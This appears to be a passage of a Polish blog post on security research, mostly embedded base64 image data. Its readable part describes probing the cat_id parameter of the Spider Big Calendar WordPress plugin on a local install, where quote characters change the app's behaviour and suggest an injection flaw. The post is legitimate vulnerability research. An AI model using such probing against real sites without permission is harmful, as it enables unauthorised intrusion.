QohVDec1A4tIg40YE9FJhdtQb1HpBCBNvni9aYyENG614YpbLD1e02imOoj1NlTu3kXEt+6H8lP9U1/Gw3YAnuuqOqjNV5XbpAPuqG4D7km6UrapD+IR2kslYdowlbeqMFR56OdZyPY0Ei2YoElzVXXccAtDmnkdl5T6pszR9c3NCLfoYp0u/kVNV95R9amu46IXK4As0c7xUXGyQTOmLby43gRhU2fCvNjN98X/sM/DWZHShHGraInY5zcn1UySPq/qJq8184PK521FUMqy7udAR4telIhTxrQvHySdO4ogkCXdOtqNcoV5lHyNIRLr2vNQ8+lOUN7wg5Q/DVFFYL9FafqA6v33pqGuLgYIjH7E7ptc4Vadxpzv1y3QiyUIe+Ja9pyLUy9CvRwRUMbDzJOrwiop/PWtg2Hj5w23HPzbfT6oLMcp174vXQSUC79Pobrz2fnt1/aqym3UcuUXPw8pbNfsF8ly8GXvdWUhLHvOa8Jq9CA+mQziNJNwuv7JG5fQ4xVNo6mttB63JcW5UOGnSOIVt743Vv6UFOc8h+o2K8qAKExF1TQy3vvjdHa+7nSdbRz8Bku6wb8u+JBlXDuwjGILzX2+bZcurJD+113WDFwyE/KVkXECVZzzI4oIGyeu3oGL1I+zg95UDOVvii+taINM+H3ipORK3G/iJFWs5rCZtnKh+46XbrKkaeRhQrlJ4WZWbFudhz0UZRXKYx0DyCG6ifw8dA09khSNHUXfSQ3dM1wzyEnbr61jUeZx0iTCnF1L9GBdwW1iZFqx0rluviDKSlIVUeZn47ywqJrbCCkohEIxd+D2qy6oOHMeKZalKAtWdDv1JV7xmHSOVhN+lEUSsURijQjsS9ZzQrq4evwKI6LpyoW2LKj6kSjtpea6X76VlA4U/vsQdo481ZdqNO2hMkousdZ3BXnCMq4K35oj9bRzumKti1+SNi6oLKfWN/mdD5hr9e60WZZ62/l4pe8H/c6Fby8SbNfsdVOWwIbG611VYHLd39DQuGfh/cKPSZRl4OE9dR1HyBBv2feYMt4zS4xBtCouDbeVU8oGH09Uq6ZTXTmmM3Zw9NRiU8jONnQgXmeaQZqf29DoBjZ+g1yFV94q6+tQdWOYeMWMq5PPvlEJOeBMvKrZfSqjB7XQ5SJme6XKC2VWxXwg8HupJSh8Xfzq/IrzIOkTF9UWJmnma+afAlB66o6A61yciasI4r0qeO2FDNIf1PdZf5o5+xwzLK3TDOIdpYpW3ekebgqKbigZ+6WSdqENFJxW1DGAtiHCZFVh6eFtu+/uagrayURxdvGKOU8dTFZ1rInlWvW8pvoWXqpRifKs4ZkE97stthiouscvXikVHN3zZla7Oeme/UMLjz5lRScShxaRvfeprutQl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width="640" /><br />
<br />
<br />
<blockquote class="tr_bq">
<br />
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id
&widget=0</div>
<br />
<br /></blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Na powyższym
zrzucie ekranu widać również jedno dodane wydarzenie w dniu 2
lutego 2015.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Najpierw
skupiałem się na podatności na ataki typu XSS i podążając tym
tropem zauważyłem, że manipulacja parametrem <i><b>cat_id</b></i>
powoduje niepokojącą zmianę zachowania aplikacji.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Poniżej
zamieściłem zrzut ekranu gdy przekaże się w requeście w
parametrze <i><b>cat_id</b></i> wartość ABCD. Ten sam efekt można
uzyskać podając apostrof lub cudzysłów. Jak widać na zrzucie
ekranu aplikacja nadal zwraca kod 200, jednakże wydarzenie zniknęło
z kalendarza. To wzbudziło moje podejrzenie.
</div>
<img alt="" height="304" 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